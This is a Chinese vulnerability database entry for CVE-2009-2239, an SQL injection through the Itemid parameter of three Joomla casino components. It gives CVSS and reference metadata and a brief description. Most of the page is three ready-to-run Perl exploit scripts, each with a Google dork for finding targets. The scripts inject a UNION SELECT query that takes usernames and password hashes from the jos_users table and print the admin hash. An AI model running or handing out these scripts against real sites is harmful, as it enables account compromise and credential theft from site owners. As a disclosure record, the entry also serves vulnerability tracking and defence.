Joomla! "index.php"参数"Itemid" SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117810 漏洞类型 SQL注入
发布时间 2009-05-20 更新时间 2009-06-30
CVE编号 CVE-2009-2239 CNNVD-ID CNNVD-200906-436
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8743
https://cxsecurity.com/issue/WLB-2009060190
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200906-436
|漏洞详情
Joomla!的(1)casinobase(com_casinobase),(2)casino_blackjack(com_casino_blackjack),和(3)casino_videopoker(com_casino_videopoker)组件0.3.1中存在SQL注入漏洞。远程攻击者可以借助对index.php的Itemid参数,执行任意SQL指令。
|漏洞EXP
#!/usr/bin/perl -w


########################################
#[~] Author : ByALBAYX
#[~] Site   : WWW.C4TEAM.ORG
########################################
#[!] Modul  : com_casino_blackjack
#[!] Dork   : inurl:"com_casino_blackjack"
########################################


system("color FF0000");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t                      |  C4TEAM  |                           \n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t   |Joomla Module com_casino_blackjack SQL Inj Vuln|         \n\n";
print "\t\t                      | ByALBAYX |                           \n\n";
print "\t\t-------------------------------------------------------------\n\n";

use LWP::UserAgent;

print "\nSite/Path:[http://wwww.c4team.org/Path/]: ";
chomp(my $target=<STDIN>);

$column_name="concat(username,0x3a,password)";
$table_name="jos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_casino_blackjack&game_mode=Blackjack&shuffle=1&Itemid=1+AND+1=2+UNION+SELECT+".$column_name.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Exploit Calisti #\n\n";
}
else{print "\n[-] Hash Bulunamadý...\n";
}

###################################################################

#!/usr/bin/perl -w


########################################
#[~] Author : ByALBAYX
#[~] Site   : WWW.C4TEAM.ORG
########################################
#[!] Modul  : com_casinobase
#[!] Dork   : inurl:"com_casinobase"
########################################


system("color FF0000");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t                      |  C4TEAM  |                           \n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t       |Joomla Module Com_Casinobas SQL Inj Vuln|            \n\n";
print "\t\t                      | ByALBAYX |                           \n\n";
print "\t\t-------------------------------------------------------------\n\n";

use LWP::UserAgent;

print "\nSite/Path:[http://wwww.c4team.org/Path/]: ";
chomp(my $target=<STDIN>);

$column_name="concat(username,0x3a,password)";
$table_name="jos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_casinobase&Itemid=1+AND+1=2+UNION+SELECT+".$column_name.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Exploit Calisti #\n\n";
}
else{print "\n[-] Hash Bulunamadý...\n";
}

###################################################################

#!/usr/bin/perl -w


########################################
#[~] Author : ByALBAYX
#[~] Site   : WWW.C4TEAM.ORG
########################################
#[!] Modul  : com_casino_videopoker
#[!] Dork   : inurl:"com_casino_videopoker"
########################################


system("color FF0000");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t                      |  C4TEAM  |                           \n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t    |Joomla Module com_casino_videopoker SQL Inj Vuln|       \n\n";
print "\t\t                      | ByALBAYX |                           \n\n";
print "\t\t-------------------------------------------------------------\n\n";

use LWP::UserAgent;

print "\nSite/Path:[http://wwww.c4team.org/Path/]: ";
chomp(my $target=<STDIN>);

$column_name="concat(username,0x3a,password)";
$table_name="jos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_casino_videopoker&Itemid=1+AND+1=2+UNION+SELECT+".$column_name.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Exploit Calisti #\n\n";
}
else{print "\n[-] Hash Bulunamadý...\n";
}

# milw0rm.com [2009-05-20]
|参考资料

来源:XF
名称:casino-index-sql-injection(50645)
链接:http://xforce.iss.net/xforce/xfdb/50645
来源:BID
名称:35041
链接:http://www.securityfocus.com/bid/35041
来源:MILW0RM
名称:8743
链接:http://www.milw0rm.com/exploits/8743